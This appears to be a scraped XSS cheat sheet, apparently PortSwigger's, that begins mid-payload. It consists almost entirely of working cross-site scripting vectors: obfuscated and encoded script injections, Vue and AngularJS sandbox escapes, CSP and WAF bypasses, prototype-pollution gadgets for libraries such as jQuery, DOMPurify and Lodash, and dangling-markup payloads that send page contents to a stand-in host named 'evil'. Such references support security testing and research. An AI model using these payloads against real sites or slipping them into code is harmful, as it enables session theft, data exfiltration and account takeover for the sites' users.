]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])</SCRIPT>
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window.name with onerror and throw

<script>throw onerror=eval,name</script>
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location with onerror and throw

<script>throw onerror=eval,'/*'+location</script>
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Works in Chrome

SVG with onerror, throw and document.URL

<svg onload="throw top.onerror=eval,'/*'+URL">
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body with onerror, throw and location

<body onload="throw onerror=eval,'/*'+location">
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Works in Firefox Works in Firefox Works in Firefox

body with onerror, throw and location on Firefox

<body onload="throw onerror=eval,{lineNumber:1,columnNumber:1,fileName:1,message:'/*'+location}">
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ontransitionstart / ontransitionend / ontransitionrun and Arrow function

<img/src/style=transition:0.1s onerror="window.ontransitionstart=setTimeout;this.style.opacity=0;Event.prototype.toString=x=>'alert\x281\x29'">
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SVG onerror and XSS new constructor

<svg onload=onerror=eval;new'"-alert\x281\x29//'>
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onerror and new operator on window name

<script>onerror=eval,new name</script>
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Frameworks
Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Protocols
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Iframe src attribute JavaScript protocol

<iframe src="javascript:alert(1)">
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Object data attribute with JavaScript protocol

<object data="javascript:alert(1)">
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Embed src attribute with JavaScript protocol

<embed src="javascript:alert(1)">
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A standard JavaScript protocol

<a href="javascript:alert(1)">XSS</a>
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The protocol is not case sensitive

<a href="JaVaScript:alert(1)">XSS</a>
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Characters \x01-\x20 are allowed before the protocol

<a href=" javascript:alert(1)">XSS</a>
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Characters \x09,\x0a,\x0d are allowed inside the protocol

<a href="javas cript:alert(1)">XSS</a>
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Characters \x09,\x0a,\x0d are allowed after protocol name before the colon

<a href="javascript :alert(1)">XSS</a>
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SVG script href attribute without closing script tag

<svg><script href="data:text/javascript,alert(1)" />
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Works in Chrome Works in Firefox Works in Chrome Works in Firefox Works in Safari Works in Firefox

MathML makes any tag clickable

<math><x href="javascript:alert(1)">blah
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Object data and codebase with single line comment

<object data="# alert(1)" codebase=javascript://>
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Object data and codebase and hash bang

<object data="#! alert(1)" codebase=javascript:>
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Embed src and codebase with single line comment

<embed src="# alert(1)" codebase=javascript://>
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Embed src and codebase and hash bang

<embed src="#! alert(1)" codebase=javascript:>
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Other useful attributes
Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Click a submit element from anywhere on the page, even outside the form

<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>
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Hidden inputs: Access key attributes can enable XSS on normally unexploitable elements

<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
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Download attribute can save a copy of the current webpage

<a href=# download="filename.html">Test</a>
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Special tags
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UTF-7 BOM characters (Has to be at the start of the document) 1

+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
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UTF-7 BOM characters (Has to be at the start of the document) 2

+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
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UTF-7 BOM characters (Has to be at the start of the document) 3

+/v+ +ADw-script+AD4-alert(1)+ADw-/script+AD4-
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UTF-7 BOM characters (Has to be at the start of the document) 4

+/v/ +ADw-script+AD4-alert(1)+ADw-/script+AD4-
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Disable JavaScript via iframe sandbox

<iframe sandbox src="//portswigger-labs.net"></iframe>
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Encoding
Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Unicode escapes ES6 style

<script>\u{61}lert(1)</script>
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Works in Chrome Works in Firefox Works in Safari

Unicode escapes ES6 style zero padded

<script>\u{0000000061}lert(1)</script>
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Hex encoding JavaScript escapes

<script>eval('\x61lert(1)')</script>
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Decimal encoding with padded zeros

<a href="&#0000106avascript:alert(1)">XSS</a>
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Hex encoding with padded zeros

<a href="&#x0000006a;avascript:alert(1)">XSS</a>
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Hex encoding is not case sensitive

<a href="&#X6A;avascript:alert(1)">XSS</a>
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Obfuscation
Works in Chrome Works in Firefox Works in Safari

Data protocol inside script src with base64

<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
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Data protocol inside script src with base64 and URL encoding

<script src=data:text/javascript;base64,%59%57%78%6c%63%6e%51%6f%4d%53%6b%3d></script>
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Client-side template injection

VueJS reflected

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Peter af Geijerstam (Swedish Shellcode Factory)

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<x v-if=_c.constructor('alert(1)')()>
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{{_c.constructor('alert(1)')()}}
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{{_v.constructor('alert(1)')()}}
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{{_s.constructor('alert(1)')()}}
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<p v-show="_c.constructor`alert(1)`()">
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<x v-on:click='_b.constructor`alert(1)`()'>click</x>
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<x v-bind:a='_b.constructor`alert(1)`()'>
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<x @[_b.constructor`alert(1)`()]>
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<x :[_b.constructor`alert(1)`()]>
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<p v-=_c.constructor`alert(1)`()>
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<x #[_c.constructor`alert(1)`()]>
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<p :=_c.constructor`alert(1)`()>
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{{_c.constructor('alert(1)')()}}
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{{_b.constructor`alert(1)`()}}
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<x v-bind:is="'script'" src="//14.rs" />
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<x is=script src=//⑭.₨>
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<x @click='_b.constructor`alert(1)`()'>click</x>
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<x @[_b.constructor`alert(1)`()]>
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<x :[_b.constructor`alert(1)`()]>
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<x #[_c.constructor`alert(1)`()]>
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<x title"="&lt;iframe&Tab;onload&Tab;=alert(1)&gt;">
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<xyz<img/src onerror=alert(1)>>
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{{$el.ownerDocument.defaultView.alert(1)}}
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{{$el.innerHTML='\u003cimg src onerror=alert(1)\u003e'}}
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<img src @error=e=$event.path.pop().alert(1)>
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<img src @error=e=$event.composedPath().pop().alert(1)>
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Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

30

<img src @error=this.alert(1)>
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Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

24

<svg@load=this.alert(1)>
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

40

{{_openBlock.constructor('alert(1)')()}}
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

42

{{_createBlock.constructor('alert(1)')()}}
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

46

{{_toDisplayString.constructor('alert(1)')()}}
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

42

{{_createVNode.constructor('alert(1)')()}}
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

47

<p v-show=_createBlock.constructor`alert(1)`()>
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

41

<x @[_openBlock.constructor`alert(1)`()]>
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

42

<x @[_capitalize.constructor`alert(1)`()]>
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

52

<x @click=_withCtx.constructor`alert(1)`()>click</x>
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

40

<x @click=$event.view.alert(1)>click</x>
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

34

{{_Vue.h.constructor`alert(1)`()}}
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

{{$emit.constructor`alert(1)`()}}
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Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

35

<component is=script text=alert(1)>
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AngularJS sandbox escapes reflected

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1.0.1 - 1.1.5

Mario Heiderich (Cure53)

41

{{constructor.constructor('alert(1)')()}}
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1.0.1 - 1.1.5 (shorter)

Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)

33

{{$on.constructor('alert(1)')()}}
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1.2.0 - 1.2.1

Jann Horn (Google)

122

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
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1.2.2 - 1.2.5

Gareth Heyes (PortSwigger)

23

{{{}.")));alert(1)//"}}
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1.2.6 - 1.2.18

Jan Horn (Google)

106

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
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1.2.19 - 1.2.23

Mathias Karlsson (Detectify)

124

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
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1.2.24 - 1.2.29

Gareth Heyes (PortSwigger)

23

{{{}.")));alert(1)//"}}
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1.2.27-1.2.29/1.3.0-1.3.20

Gareth Heyes (PortSwigger)

23

{{{}.")));alert(1)//"}}
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1.3.0

Gábor Molnár (Google)

272

{{!ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(1);' )));}}
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1.3.3 - 1.3.18

Gareth Heyes (PortSwigger)

128

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}}
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1.3.19

Gareth Heyes (PortSwigger)

102

{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(1)//');}}
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1.3.20

Gareth Heyes (PortSwigger)

65

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
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1.4.0 - 1.4.9

Gareth Heyes (PortSwigger)

74

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
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1.5.0 - 1.5.8

Ian Hickey & Gareth Heyes (PortSwigger)

79

{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}
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1.5.9 - 1.5.11

Jann Horn (Google)

517

{{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a; }}
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1.5.9 - 1.5.11 shorter

Jann Horn (Google) & Lukasz Plonka

326

{{c=''.sub.call;b=''.sub.bind;c.$apply=$apply;c.$eval=b;$root.$$phase=null;$root.$digest=$on; C=c.$apply(c);B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='alert(1)';astNode.argument={type:'Identifier'};");m1=$$asyncQueue.pop().expression;m2=B(C,null,m1);[].push.apply=m2;$eval('B(b)');}}
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>=1.6.0 (shorter)

Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)

33

{{$on.constructor('alert(1)')()}}
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DOM based AngularJS sandbox escapes

(Using orderBy or no $eval)

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1.0.1 - 1.1.5

Mario Heiderich (Cure53)

37

constructor.constructor('alert(1)')()
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1.2.0 - 1.2.18

Jann Horn (Google)

118

a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
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1.2.19 - 1.2.23

Mathias Karlsson (Detectify)

119

toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)
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1.2.24 - 1.2.26

Gareth Heyes (PortSwigger)

317

{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(1)')()
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1.2.27-1.2.29/1.3.0-1.3.20

Gareth Heyes (PortSwigger)

20

{}.")));alert(1)//";
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1.4.0-1.4.5

Gareth Heyes (PortSwigger)

75

'a'.constructor.prototype.charAt=[].join;[1]|orderBy:'x=1} } };alert(1)//';
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1.4.2-1.5.8

Gareth Heyes (PortSwigger) & Daniel Kachakil (Anvil Ventures)

70

{y:''.constructor.prototype}.y.charAt=[].join;[1]|orderBy:'x=alert(1)'
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AngularJS CSP bypasses

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All versions (all browsers) shorter using assignment

Gareth Heyes (PortSwigger)

66

<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
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1.2.0 - 1.5.0

Eduardo Vela (Google)

190

<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div>
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All versions (all browsers) shorter via oncut

Savan Gadhiya (NotSoSecure)

59

<input ng-cut=$event.composedPath()|orderBy:'(y=alert)(1)'>
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Scriptless attacks

Dangling markup
Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Img to pass markup through src attribute

<img src="//evil? <image src="//evil?
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Works in Chrome Works in Firefox Works in Safari

Video using track element

<video><track default src="//evil?
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Works in Chrome Works in Firefox Works in Safari

Video using source element and src attribute

<video><source src="//evil?
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Works in Chrome Works in Firefox Works in Safari

Audio using source element and src attribute

<audio><source src="//evil?
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Object data

<object data="//evil?
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Firefox Works in Safari

Use textarea to consume markup and post to external site

<form><button formaction=//evil>XSS</button><textarea name=x>
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Works in Chrome Works in Firefox Works in Safari

Pass markup data through window.name using form target

<button form=x>XSS</button><form id=x action=//evil target='
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Using embed window name to pass data from the page

<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
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Works in Chrome Works in Firefox Works in Safari

Using iframe window name to pass data from the page

<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
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Works in Chrome Works in Firefox Works in Safari

Using object window name to pass data from the page

<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
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Works in Chrome Works in Firefox Works in Safari

Using frame window name to pass data from the page

<frameset><frame src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
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Works in Chrome Works in Safari

Overwrite type attribute with image in hidden inputs

<input type=hidden type=image src="//evil?
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Works in Chrome Works in Firefox Works in Safari

Video element with poster attribute

<video poster="//evil?
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Polyglots
Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

WAF bypass global objects
Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: string concatenation (window)

';window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: string concatenation (self)

';self['ale'+'rt'](self['doc'+'ument']['dom'+'ain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: string concatenation (this)

';this['ale'+'rt'](this['doc'+'ument']['dom'+'ain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: string concatenation (top)

';top['ale'+'rt'](top['doc'+'ument']['dom'+'ain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: string concatenation (parent)

';parent['ale'+'rt'](parent['doc'+'ument']['dom'+'ain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: string concatenation (frames)

';frames['ale'+'rt'](frames['doc'+'ument']['dom'+'ain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: string concatenation (globalThis)

';globalThis['ale'+'rt'](globalThis['doc'+'ument']['dom'+'ain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: comment syntax (window)

';window[/*foo*/'alert'/*bar*/](window[/*foo*/'document'/*bar*/]['domain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: comment syntax (self)

';self[/*foo*/'alert'/*bar*/](self[/*foo*/'document'/*bar*/]['domain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: comment syntax (this)

';this[/*foo*/'alert'/*bar*/](this[/*foo*/'document'/*bar*/]['domain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: comment syntax (top)

';top[/*foo*/'alert'/*bar*/](top[/*foo*/'document'/*bar*/]['domain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: comment syntax (parent)

';parent[/*foo*/'alert'/*bar*/](parent[/*foo*/'document'/*bar*/]['domain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: comment syntax (frames)

';frames[/*foo*/'alert'/*bar*/](frames[/*foo*/'document'/*bar*/]['domain']);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: comment syntax (globalThis)

';globalThis[/*foo*/'alert'/*bar*/](globalThis[/*foo*/'document'/*bar*/]['domain']);//
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: hex escape sequence and base64 encoded string (window)

';window['\x65\x76\x61\x6c']('window["\x61\x6c\x65\x72\x74"](window["\x61\x74\x6f\x62"]("WFNT"))');//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: hex escape sequence and base64 encoded string (self)

';self['\x65\x76\x61\x6c']('self["\x61\x6c\x65\x72\x74"](self["\x61\x74\x6f\x62"]("WFNT"))');//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: hex escape sequence and base64 encoded string (this)

';this['\x65\x76\x61\x6c']('this["\x61\x6c\x65\x72\x74"](this["\x61\x74\x6f\x62"]("WFNT"))');//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: hex escape sequence and base64 encoded string (top)

';top['\x65\x76\x61\x6c']('top["\x61\x6c\x65\x72\x74"](top["\x61\x74\x6f\x62"]("WFNT"))');//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: hex escape sequence and base64 encoded string (parent)

';parent['\x65\x76\x61\x6c']('parent["\x61\x6c\x65\x72\x74"](parent["\x61\x74\x6f\x62"]("WFNT"))');//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: hex escape sequence and base64 encoded string (frames)

';frames['\x65\x76\x61\x6c']('frames["\x61\x6c\x65\x72\x74"](frames["\x61\x74\x6f\x62"]("WFNT"))');//
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XSS into a JavaScript string: hex escape sequence and base64 encoded string (globalThis)

';globalThis['\x65\x76\x61\x6c']('globalThis["\x61\x6c\x65\x72\x74"](globalThis["\x61\x74\x6f\x62"]("WFNT"))');//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: octal escape sequence (window)

';window['\141\154\145\162\164']('\130\123\123');//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: octal escape sequence (self)

';self['\141\154\145\162\164']('\130\123\123');//
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XSS into a JavaScript string: octal escape sequence (this)

';this['\141\154\145\162\164']('\130\123\123');//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: octal escape sequence (top)

';top['\141\154\145\162\164']('\130\123\123');//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: octal escape sequence (parent)

';parent['\141\154\145\162\164']('\130\123\123');//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: octal escape sequence (frames)

';frames['\141\154\145\162\164']('\130\123\123');//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: octal escape sequence (globalThis)

';globalThis['\141\154\145\162\164']('\130\123\123');//
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XSS into a JavaScript string: unicode escape (window)

';window['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
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XSS into a JavaScript string: unicode escape (self)

';self['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
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XSS into a JavaScript string: unicode escape (this)

';this['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: unicode escape (parent)

';parent['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
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XSS into a JavaScript string: unicode escape (frames)

';frames['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
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XSS into a JavaScript string: unicode escape (globalThis)

';globalThis['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
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XSS into a JavaScript string: RegExp source property (window)

';window[/al/.source+/ert/.source](/XSS/.source);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: RegExp source property (self)

';self[/al/.source+/ert/.source](/XSS/.source);//
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XSS into a JavaScript string: RegExp source property (this)

';this[/al/.source+/ert/.source](/XSS/.source);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: RegExp source property (top)

';top[/al/.source+/ert/.source](/XSS/.source);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: RegExp source property (parent)

';parent[/al/.source+/ert/.source](/XSS/.source);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: RegExp source property (frames)

';frames[/al/.source+/ert/.source](/XSS/.source);//
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Works in Chrome Works in Firefox Works in Safari

XSS into a JavaScript string: RegExp source property (globalThis)

';globalThis[/al/.source+/ert/.source](/XSS/.source);//
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Content types

This section lists content-types that can be used for XSS with the X-Content-Type-Options: nosniff header active.

Content-Type
text/html
application/xhtml+xml
application/xml
text/xml
image/svg+xml
text/xsl
application/vnd.wap.xhtml+xml
text/rdf
application/rdf+xml
application/mathml+xml
text/vtt
text/cache-manifest
Browsers
Does work in ChromeDoes work in FirefoxDoes work in Safari
Does work in ChromeDoes work in FirefoxDoes work in Safari
Does work in ChromeDoes work in FirefoxDoes work in Safari
Does work in ChromeDoes work in FirefoxDoes work in Safari
Does work in ChromeDoes work in FirefoxDoes work in Safari
Does work in ChromeDoes work in Safari
Does work in FirefoxDoes work in Safari
Does work in Firefox
Does work in Firefox
Does work in Firefox
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Response content types

This section lists content-types that can be used for XSS when you can inject into the content-type header.

Content-Type
text/plain; x=x, text/html, foobar
text/html(xxx
text/html xxx
text/html xxx
text/html, xxx
text/html; xxx
Browsers
Does work in ChromeDoes work in Firefox
Does work in ChromeDoes work in Firefox
Does work in ChromeDoes work in Firefox
Does work in ChromeDoes work in Firefox
Does work in ChromeDoes work in FirefoxDoes work in Safari
Does work in ChromeDoes work in FirefoxDoes work in Safari
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Impossible labs

To find out what these are for, please refer to Documenting the impossible: Unexploitable XSS labs.

Title Description Length limit Closest vector Link
Basic context, WAF blocks <[a-zA-Z]This lab captures the scenario when you can't use an open tag followed by an alphanumeric character. Sometimes you can solve this problem by bypassing the WAF entirely, but what about when that's not an option? Certain versions of .NET have this behaviour, and it's only known to be exploitable in old IE with <%tag.N/AN/A🔗
Script based injection but quotes, forward slash and backslash are escapedWe often encounter this situation in the wild: you have an injection inside a JavaScript variable and can inject angle brackets, but quotes and forward/backslashes are escaped so you can't simply close the script block.

The closest we've got to solving this is when you have multiple injection points. The first within a script based context and the second in HTML.		N/AN/A🔗
innerHTML context but no equals allowedYou have a site that processes the query string and URL decodes the parameters but splits on the equals then assigns to innerHTML. In this context <script> doesn't work and we can't use = to create an event.N/AN/A🔗
Basic context length limitThis lab's injection occurs within the basic HTML context but has a length limitation of 15. Filedescriptor came up with a vector that could execute JavaScript in 16 characters: <q oncut=alert`` but can you beat it?15<q oncut=alert``🔗
Attribute context length limitThe context of this lab inside an attribute with a length limitation of 14 characters. We came up with a vector that executes JavaScript in 15 characters:"oncut=alert``+ the plus is a trailing space. Do you think you can beat it?14"oncut=alert`` 🔗
Basic context length limit, arbitrary codeIt's all well and good executing JavaScript but if all you can do is call alert what use is that? In this lab we demonstrate the shortest possible way to execute arbitrary code.19<q oncut=eval(name)🔗
Attribute context length limit arbitrary codeAgain calling alert proves you can call a function but we created another lab to find the shortest possible attribute based injection with arbitrary JavaScript.17See link🔗
Injection occurs inside a frameset but before the bodyWe received a request from twitter about this next lab. It occurs within a frameset but before a body tag with equals filtered. You would think you could inject a closing frameset followed by a script block but that would be too easy.N/AN/A🔗
Injection occurs inside single quoted string, only characters a-z0-9+'.` are allowed.The injection occurs within a single quoted string and the challenge is to execute arbitrary code using the charset a-zA-Z0-9'+.`. Luan Herrera solved this lab in an amazing way, you can view the solution in the following post.N/AN/A🔗
Injection occurs inside double quoted src attribute of a image elementThe double quote is encoded, the challenge is to find a way to execute XSS within a quoted src attribute.N/AN/A🔗

Prototype pollution
Library Payload Author Version Fingerprint
Wistia Embedded Video<script>
Object.prototype.innerHTML = '<img/src/onerror=alert(1)>';
</script>		William BowlingAll versionsreturn (typeof wistiaEmbeds !== 'undefined')
$(x).off jQuery<script>
Object.prototype.preventDefault='x';
Object.prototype.handleObj='x';
Object.prototype.delegateTarget='<img/src/onerror=alert(1)>';
/* No extra code needed for jQuery 1 & 2 */$(document).off('foobar');
</script>		Sergey BobrovAll versionsreturn (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
$(html) jQuery<script>
Object.prototype.div=['1','<img src onerror=alert(1)>','1']
</script><script>
$('<div x="x"></div>')
</script>		Sergey BobrovAll versionsreturn (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
$.get jQuery<script>
Object.prototype.url = ['data:,alert(1)//'];
Object.prototype.dataType = 'script';
</script>
<script>
$.get('https://google.com/');
$.post('https://google.com/');
</script>		Michał Bentkowski>= 3.0.0return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
$.getScript jQuery<script>
Object.prototype.src = ['data:,alert(1)//']
</script>
<script>
$.getScript('https://google.com/')
</script>		s1r1us>= 3.4.0return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
$.getScript jQuery<script>
Object.prototype.url = 'data:,alert(1)//'
</script>
<script>
$.getScript('https://google.com/')
</script>		s1r1us3.0.0 - 3.3.1return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
Google reCAPTCHA<script>
Object.prototype.srcdoc=['<script>alert(1)<\/script>']
</script>
<div class="g-recaptcha" data-sitekey="your-site-key"/>		s1r1usreturn (typeof recaptcha !== 'undefined')
Twitter Universal Website Tag<script>
Object.prototype.hif = ['javascript:alert(document.domain)'];
</script>		Sergey Bobrovreturn (typeof twq !== 'undefined' && typeof twq.version !== 'undefined')
Tealium Universal Tag<script>
Object.prototype.attrs = {src:1};
Object.prototype.src='https://portswigger-labs.net/xss/xss.js'
</script>		Sergey Bobrovreturn (typeof utag !== 'undefined' && typeof utag.id !== 'undefined')
Akamai Boomerang<script>Object.prototype.BOOMR = 1;
Object.prototype.url='https://portswigger-labs.net/xss/xss.js'</script>		s1r1usreturn (typeof BOOMR !== 'undefined')
Lodash<script>
Object.prototype.sourceURL = '\u2028\u2029alert(1)'
</script>
<script>
_.template('test')
</script>		Alex Brasetvik<= 4.17.15return (typeof _ !== 'undefined' && typeof _.template !== 'undefined' && typeof _.VERSION !== 'undefined')
sanitize-html<script>
Object.prototype['*'] = ['onload']</script>
<script>
document.write(sanitizeHtml('<iframe onload=alert(1)>'))
</script>		Michał Bentkowskireturn (typeof sanitizeHtml !== 'undefined')
js-xss<script>
Object.prototype.whiteList = {img: ['onerror', 'src']}
</script>
<script>
document.write(filterXSS('<img src onerror=alert(1)>'))
</script>		Michał Bentkowskireturn (typeof filterXSS !== 'undefined')
DOMPurify<script>
Object.prototype.ALLOWED_ATTR = ['onerror', 'src']
</script>
<script>
document.write(DOMPurify.sanitize('<img src onerror=alert(1)>'))
</script>		Michał Bentkowski<= 2.0.12return (typeof DOMPurify !== 'undefined')
DOMPurify<script>
Object.prototype.documentMode = 9
</script>		Michał Bentkowski<= 2.0.12return (typeof DOMPurify !== 'undefined')
Closure<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
